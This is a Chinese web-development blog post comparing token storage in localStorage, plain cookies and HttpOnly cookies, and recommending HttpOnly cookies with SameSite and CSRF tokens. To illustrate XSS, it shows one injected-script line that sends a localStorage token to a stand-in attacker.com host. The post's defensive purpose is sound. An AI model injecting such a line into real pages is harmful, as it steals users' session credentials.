蓝戒博客

  • 首页
  • 研发说
  • 架构论
  • 效能录
  • AI谈
  • 随笔集
智构苍穹
融合 AI、架构与工程实践,沉淀方法论,构建可持续的技术价值。
  1. 首页
  2. 研发说
  3. 正文

生产环境下的 Token 前端存储方案与安全权衡

2025年12月31日 23点热度 0人点赞 0条评论

用户 Token 到底该存哪?

在 Web 应用中,Token 存储位置几乎是所有登录体系都会遇到的问题。
很多项目在最初阶段,会选择一个“最省事”的方案,但随着业务复杂度上升、安全事件频发,这个问题往往会被重新翻出来。

本文从工程安全视角出发,系统梳理几种主流 Token 存储方案的差异、风险与取舍,并给出在真实项目中更稳妥的落地建议。


一、前端能存 Token 的方式有哪些?

从浏览器能力来看,前端可选方案其实不多,主流只有三种:

存储方式XSS 能否读取是否自动随请求发送安全性评价
localStorage✅ 能❌ 否❌ 不推荐
普通 Cookie✅ 能✅ 是❌ 更糟
HttpOnly Cookie❌ 不能✅ 是✅ 推荐

乍一看,三者只是“存储位置不同”,但在安全模型上,差异极大。


二、localStorage:最常见,也最危险

很多项目的初始实现大概都是这样:

JavaScript
// 登录成功后
localStorage.setItem('token', accessToken);

// 请求时读取
fetch('/api/user', {
  headers: {
    Authorization: `Bearer ${localStorage.getItem('token')}`
  }
});

优点很明显:

  • 使用简单
  • 不依赖后端 Cookie 配置
  • 前后端职责清晰

但它有一个致命问题:
👉 XSS 攻击可以直接读取 localStorage

只要页面上出现一次 XSS 漏洞,攻击者就可以轻松把 Token 偷走:

JavaScript
// 恶意注入脚本
fetch(
  'https://attacker.com/steal?token=' + localStorage.getItem('token')
);

现实中,XSS 并不是“极端情况”:

  • innerHTML 使用不当
  • URL 参数直接渲染
  • 第三方脚本被污染
  • Markdown / 富文本解析漏洞

项目越大,入口越多,“一定没有 XSS”几乎是不成立的假设。


三、普通 Cookie:看似安全,其实更糟

有人会想到:

那我把 Token 存到 Cookie 里,不就行了?

如果只是普通 Cookie,结果反而更差:

JavaScript
document.cookie = `token=${accessToken}; path=/`;

问题在于:

  1. XSS 依然可以读
  2. CSRF 风险被自动引入
JavaScript
// XSS 仍然能读取
document.cookie

Cookie 会被浏览器自动携带,这意味着:

  • 攻击者不需要读 Token
  • 只要诱导用户访问恶意页面,就能发起伪造请求

属于是 XSS 和 CSRF 两头吃亏。


四、HttpOnly Cookie:真正值得推荐的方案

HttpOnly Cookie 的核心价值只有一句话:

JavaScript 访问不到

JavaScript
res.cookie('access_token', token, {
  httpOnly: true,   // JS 读不到
  secure: true,     // 仅 HTTPS
  sameSite: 'lax',  // 防 CSRF
  maxAge: 3600000
});

一旦加上 httpOnly: true:

JavaScript
document.cookie // 访问不到 access_token

即使页面发生 XSS,攻击脚本也拿不到 Token 本身。

前端请求时,只需要:

JavaScript
fetch('/api/user', {
  credentials: 'include'
});

浏览器会自动携带 Cookie,但 JS 无法直接操作它。


五、HttpOnly Cookie 的代价:必须正视 CSRF

HttpOnly Cookie 解决了 XSS 偷 Token 的问题,但引入了一个必须面对的现实:
👉 CSRF

因为 Cookie 会自动发送,攻击者可以构造跨站请求。

1️⃣ SameSite:成本最低、收益最高

JavaScript
res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'
});

SameSite 选项:

  • strict:最安全,但体验差
  • lax:主流推荐,能防住大多数 CSRF
  • none:需配合 secure,风险最高

绝大多数业务,lax 已经足够。


2️⃣ CSRF Token:更严格的场景

对金融、转账等高风险操作,可以再加一层 CSRF Token:

JavaScript
// 后端生成
res.cookie('csrf_token', csrfToken);

// 前端请求
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken
  },
  credentials: 'include'
});

攻击者可以“带 Cookie”,
但 无法读取 Cookie 内容来构造请求头。


六、为什么宁愿防 CSRF,也要堵死 XSS?

这是整个设计取舍的关键。

XSS 的现实情况

  • 攻击面极广
  • 来源不可控
  • 一个疏忽就可能中招
  • 一旦成功,Token 可被直接窃取

CSRF 的现实情况

  • 攻击入口有限
  • 防御手段标准化
  • SameSite 即可解决大部分场景
  • 防护成本可控

结论很明确:

与其赌“不会有 XSS”,不如假设 XSS 一定会出现
然后让它偷不到最关键的东西


七、从 localStorage 迁移到 HttpOnly Cookie,要改哪些?

后端

JavaScript
// 登录接口
res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  maxAge: 3600000
});

前端

JavaScript
fetch('/api/user', {
  credentials: 'include'
});

如果使用 axios:

JavaScript
axios.defaults.withCredentials = true;

登出

JavaScript
res.clearCookie('access_token');

实际改动远比想象中小,关键是心智转变。


八、如果暂时无法迁移,如何降低风险?

现实中并不是所有项目都能立刻重构,这种情况下至少要做到:

  • 严格防 XSS
    • 禁用 innerHTML
    • 输入统一转义
    • CSP 头
    • 富文本白名单过滤
  • 缩短 Token 生命周期
    • Access Token 15~30 分钟
  • 敏感操作二次校验
  • 异常行为监控

这些措施不能让方案变“安全”,但能降低爆炸半径。


九、总结

  • Token 存储不是“习惯问题”,而是安全模型选择
  • localStorage 最大的问题不是“不优雅”,而是 XSS 可直接盗用
  • HttpOnly Cookie 本质是在做一件事:
    👉 把 Token 从 JavaScript 世界隔离出去
  • CSRF 是可以被系统性防御的,而 XSS 很难做到绝对消失

如果只能记住一句话:

优先阻断“可直接窃取凭证”的攻击路径,再处理“可被伪造请求”的风险

参考资料:https://juejin.cn/post/7583898823920451626

标签: HttpOnly Cookie localStorage 风险 Token 存储 XSS 攻击 前端安全
最后更新:2025年12月31日

cywcd

我始终相信,技术不仅是解决问题的工具,更是推动思维进化和创造价值的方式。从研发到架构,追求极致效能;在随笔中沉淀思考,于 AI 中对话未来。

打赏 点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

cywcd

我始终相信,技术不仅是解决问题的工具,更是推动思维进化和创造价值的方式。从研发到架构,追求极致效能;在随笔中沉淀思考,于 AI 中对话未来。

最新 热点 随机
最新 热点 随机
Island 架构与部分水合:重新思考前端性能与交互的边界 Biome:下一代前端一体化工具链,正在取代 Prettier + ESLint? 生产环境下的 Token 前端存储方案与安全权衡 程序员的 PPT 终极形态:Slidev 演示文稿工具 Bun:下一代 JavaScript 一体化工具链全面解析 架构师应该具备的专业素养:如何成为一名优秀的系统架构设计师
Rsbuild:由 Rspack 驱动的新一代高性能 Web 构建工具i18n 高效实现方案:前端国际化神器安利一波字节跨平台框架 Lynx 开源:为 Web 开发者带来原生级跨端体验的全新选择TresJS:用 Vue 构建现代化交互式 3D 体验npm 安全更新:把握令牌变更与发布体系的迁移参考指南Code Inspector:页面开发提效的神器
架构评估方法 ATAM:系统性洞察架构质量的利器 🧩 Mock.js 数据 Mock 实战技巧与最佳实践 ngrok:开发者必备的内网穿透神器,让本地服务秒变公网可访问 移动web开发头部meta标签5种实用方法 AngularJs中ui-router全攻略 网站公共底文件在不同高度页面下显示位置解决方案
最近评论
渔夫 发布于 2 个月前(11月05日) 学到了,感谢博主分享
沙拉小王子 发布于 8 年前(11月30日) 适合vue入门者学习,赞一个
沙拉小王子 发布于 8 年前(11月30日) 适合vue入门者学习,赞一个
cywcd 发布于 9 年前(04月27日) 请参考一下这篇文章http://www.jianshu.com/p/fa4460e75cd8
cywcd 发布于 9 年前(04月27日) 请参考一下这篇文章http://www.jianshu.com/p/fa4460e75cd8

COPYRIGHT © 2025 蓝戒博客_智构苍穹-专注于大前端领域技术生态. ALL RIGHTS RESERVED.

京ICP备12026697号-2